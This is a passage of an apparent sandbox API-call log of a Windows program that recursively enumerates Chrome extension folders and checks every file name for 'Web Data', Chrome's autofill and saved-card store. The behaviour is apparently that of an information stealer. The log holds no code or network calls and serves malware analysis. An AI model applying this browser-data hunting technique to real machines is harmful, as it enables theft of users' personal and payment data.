lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.641] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.641] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.641] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0078.641] LocalFree (hMem=0x6523b0) returned 0x0 [0078.641] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.641] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0078.642] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*" [0078.642] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.647] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.647] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.647] LocalFree (hMem=0x6525c0) returned 0x0 [0078.647] LocalFree (hMem=0x6524b8) returned 0x0 [0078.647] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.647] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.647] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.647] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.647] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.647] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0078.647] LocalFree (hMem=0x6523b0) returned 0x0 [0078.647] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.647] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0078.647] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*" [0078.647] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.648] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.648] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.648] LocalFree (hMem=0x6525c0) returned 0x0 [0078.648] LocalFree (hMem=0x6524b8) returned 0x0 [0078.648] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.648] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.648] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.648] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.648] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.648] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0078.648] LocalFree (hMem=0x6523b0) returned 0x0 [0078.648] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.648] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0078.648] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*" [0078.648] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.649] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.649] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.649] LocalFree (hMem=0x6525c0) returned 0x0 [0078.649] LocalFree (hMem=0x6524b8) returned 0x0 [0078.649] LocalFree (hMem=0x6523b0) returned 0x0 [0078.649] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.649] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.649] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.649] LocalFree (hMem=0x6525c0) returned 0x0 [0078.649] LocalFree (hMem=0x6524b8) returned 0x0 [0078.649] LocalFree (hMem=0x6523b0) returned 0x0 [0078.649] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.650] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.650] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.650] LocalFree (hMem=0x6525c0) returned 0x0 [0078.650] LocalFree (hMem=0x6524b8) returned 0x0 [0078.650] LocalFree (hMem=0x6523b0) returned 0x0 [0078.650] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.651] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.651] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.651] LocalFree (hMem=0x6525c0) returned 0x0 [0078.651] LocalFree (hMem=0x6524b8) returned 0x0 [0078.651] LocalFree (hMem=0x6523b0) returned 0x0 [0078.651] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.651] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.652] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.652] LocalFree (hMem=0x6525c0) returned 0x0 [0078.652] LocalFree (hMem=0x6524b8) returned 0x0 [0078.652] LocalFree (hMem=0x6523b0) returned 0x0 [0078.652] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.652] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.652] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.652] LocalFree (hMem=0x6525c0) returned 0x0 [0078.652] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.653] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.653] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.653] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.653] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.653] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.654] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.654] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.654] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.654] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.655] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.655] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.655] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.655] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.655] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.656] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.656] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.656] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.656] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.657] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.657] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.657] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.657] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.658] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.658] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.674] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.674] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.674] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.674] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.674] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.675] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.675] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.675] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.675] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.676] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.676] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.676] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.676] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.677] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.677] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.677] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.677] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.677] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.678] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.678] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.678] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.678] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.678] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.678] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.679] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.679] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.679] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.679] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.679] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.679] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.680] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.680] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0078.680] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0078.680] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.680] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0078.680] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0078.681] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0078.681] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.699] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0078.700] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0078.700] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.702] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.702] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.702] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.702] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.703] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.703] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.703] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.703] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.703] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.704] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.704] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.704] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.704] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.704] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.705] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.705] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.705] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.705] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.705] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.706] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.706] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.706] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 